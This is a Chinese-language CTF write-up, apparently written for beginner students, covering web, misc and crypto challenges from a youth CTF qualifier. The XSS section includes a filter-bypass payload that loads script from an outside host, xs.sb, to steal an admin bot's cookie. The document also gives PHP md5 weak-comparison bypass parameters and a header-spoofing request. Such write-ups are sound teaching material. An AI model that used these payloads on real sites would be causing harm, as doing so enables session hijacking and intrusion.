出题的难易程度适中,比较青少年年龄段的CTF选手解题,但是也有些题存在不少脑洞。最后的话我们队(我,烨师傅,lxy师傅)是取得了线上选拔赛的第一名,种种原因没有去到线下赛。这次writeup是自己做题写的,想看其他题型的完整版可以去百度搜搜。这个writeup是之前写给学校刚入门的学弟学妹看的,所以会显得比较啰嗦和表达不流畅啥的,希望大师傅们别介意。
web
序号:1
题目名称:签到
解题过程:
打开后是kali的命令界面,
直接f12审查元素获取flag,
也可以一直按动回车获取flag,
序号:2
题目名称:easy_http
解题过程:
访问先是要求添加get头,
然后添加Post头,
之后要求本地访问,
最后要求***明,
这个也是非常脑洞的题目,scret其实是个迷雾,直接把Http_1s_W0nd3rful关键字添加到UA头即可解出,想了半天才弄出来,数据包如下,
POST /?fruit=apple HTTP/1.1 Host: eci-2zejaarzxxkx8pqk0lcy.cloudeci1.ichunqiu.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Http_1s_W0nd3rful X-Forwarded-For:127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; browse=CFlaTxUYU0BaV1tCVQJTRFBZSkdeQ1lYWVtFR1dRW0VTUF5PW0VLTgBZXUNbQVxOGllZTFRTW0VbU0VFVlxbTElRWE9dRlNFWUFTCA; UM_distinctid=17438c3cfd544-084b5559307959-7d7f582e-1fa400-17438c3cfd72a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1599213575,1599230970,1599234684,1599267160; ci_session=4d0653e1d49e44a2ee608a388cea4c1195a1ba76; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1599290610; __jsluid_h=0f528e9a32a83f24c021a258d97f97ca Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 vegetable=potato
获取flag,
序号:3
题目名称:xss
解题过程:
打开题目可以看到导航栏有三个地址,第一个是成绩查询的界面,输入姓名可以查询到成绩,
然后第二个是反馈页面可以提交站点的链接,管理员会自动打开查看,
最后一个界面是Admin,打开是后台,
由于题目标题就是xss,所以这题考察的肯定是xss内容。先测试成绩查询页面是否存在xss,
在成绩查询的输入口通过fuzz发现过滤了script,如:
<script>alert(/xss/)</script>
利用双写加上大小写绕过防御策略,
<scrsCrIptipt srC=//xs.sb/pQBd></scrisCRipTpt>
得到反射型的URL如下:
http://eci-2ze8iaai2nr5l4ky7twq.cloudeci1.ichunqiu.com:8888/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21
访问后打到了自己的cookie信息,证明反射型xss是构造成功的,
然后解题的思路就来了,如:
成绩查询页面构造反射型xss
反馈界面将xss的地址提交,管理员会自动打开该地址
成功打到cookie后修改cookie进入后台,然后获取flag
在反馈界面提交xss地址,
这里有个坑,很多师傅打不到cookie就是这个原因,因为/就代表了主页面,也就是http://容器地址/,如果再提交http://容器地址/xss代码是无法打的,所以只能构造下列的payload:
/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21
不到半分钟就打到cookie了,
修改cookie后访问admin页面得到flag,
序号:4
题目名称:easy_php
解题过程:
打开得到以下php代码,
<?php highlight_file(__FILE__); if ( isset($_GET['a1']) && isset($_GET['a2']) ) { if( ($_GET['a1'] == $_GET['a2']) || (md5($_GET['a1']) != md5($_GET['a2'])) ){ die("No"); } }else{ die("Please input a1 and a2."); } if ( isset($_GET['b1']) && isset($_GET['b2']) ) { if( ($_GET['b1'] === $_GET['b2']) || (md5($_GET['b1']) !== md5($_GET['b2'])) ){ die("NoNo"); } }else{ die("Please input b1 and b2."); } if ( isset($_GET['time']) ){ if( strlen($_GET['time'])>4 || $_GET['time']<time() || is_array($_GET['time'])){ die("NoNoNo"); } }else{ die("Please input time."); } echo file_get_contents('/flag'); Please input a1 and a2.
需要绕过三个限制才能获取flag,
if ( isset($_GET['a1']) && isset($_GET['a2']) ) { if( ($_GET['a1'] == $_GET['a2']) || (md5($_GET['a1']) != md5($_GET['a2'])) ){ die("No");
第一个是a1和a2参数,需要满足以下条件:
a1参数和a2参数的值不同
a1参数和a2参数值的md5相同
可以利用弱类型绕过,如:
?a1=s878926199a&a2=s155964671a
第二个是b1和b2参数,
if ( isset($_GET['b1']) && isset($_GET['b2']) ) { if( ($_GET['b1'] === $_GET['b2']) || (md5($_GET['b1']) !== md5($_GET['b2'])) ){ die("NoNo");
需要满足以下条件:
b1参数和b2参数值相同
b1参数和b2参数的md5不同
可以用数组形式绕过,
b1[]=1&b2[]=2
第三个是time参数,
if ( isset($_GET['time']) ){ if( strlen($_GET['time'])>4 || $_GET['time']<time() || is_array($_GET['time'])){
die("NoNoNo");
需要满足以下条件:
time参数的长度大于4
time参数的值小于当前时间戳
time参数不能是数组
可以使用科学计数法绕过,
time=6e11
最终的payload为:
?a1=s878926199a&a2=s155964671a&b1[]=1&b2[]=2&time=6e11
得到了flag,
misc
序号:1
题目名称:easy_pcap
解题过程:
根据题目题干信息可以使用wireshark进行流量分析,打开数据包pcap格式数据包后发现很多的http协议,先过滤出HTTP协议类型的请求,
通过分析发现是一句话后门的流量监控文件,发现一php文件名疑似是base编码,
base64解密得到flag,
然后进行url解码,
序号:2
题目名称:问卷调查
解题过程:
https://www.wjx.top/jq/90166186.aspx
填写完后得到flag,
crypto
序号:1
题目名称:easy_Crypto
解题过程:
下载得到两个文件,
其中一个文件为颜文字编码,一个为猪圈密码,根据文件名称中的序号先颜文字进行解码,
直接F12在审查元素的console模块粘贴进去,回车得到结果数字5,判断应该为栅栏加密的栏数,
https://www.tooleyes.com/app/pigpen_chiper_decrypt.html
猪圈密码直接用上面的在线工具一一解密,
fpyitlyth__nsiaropiosengcgasstrg{r_e}
下划线和括号不是猪圈加密,需要按照原字符串添加上去。得到明文后进行栅栏解密,发现解不出来,
于是判断可能是W型的栅栏加密(变异),
http://www.atoolbox.net/Tool.php?Id=777
解密得到flag,
本文作者:教主assassin
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/142589.html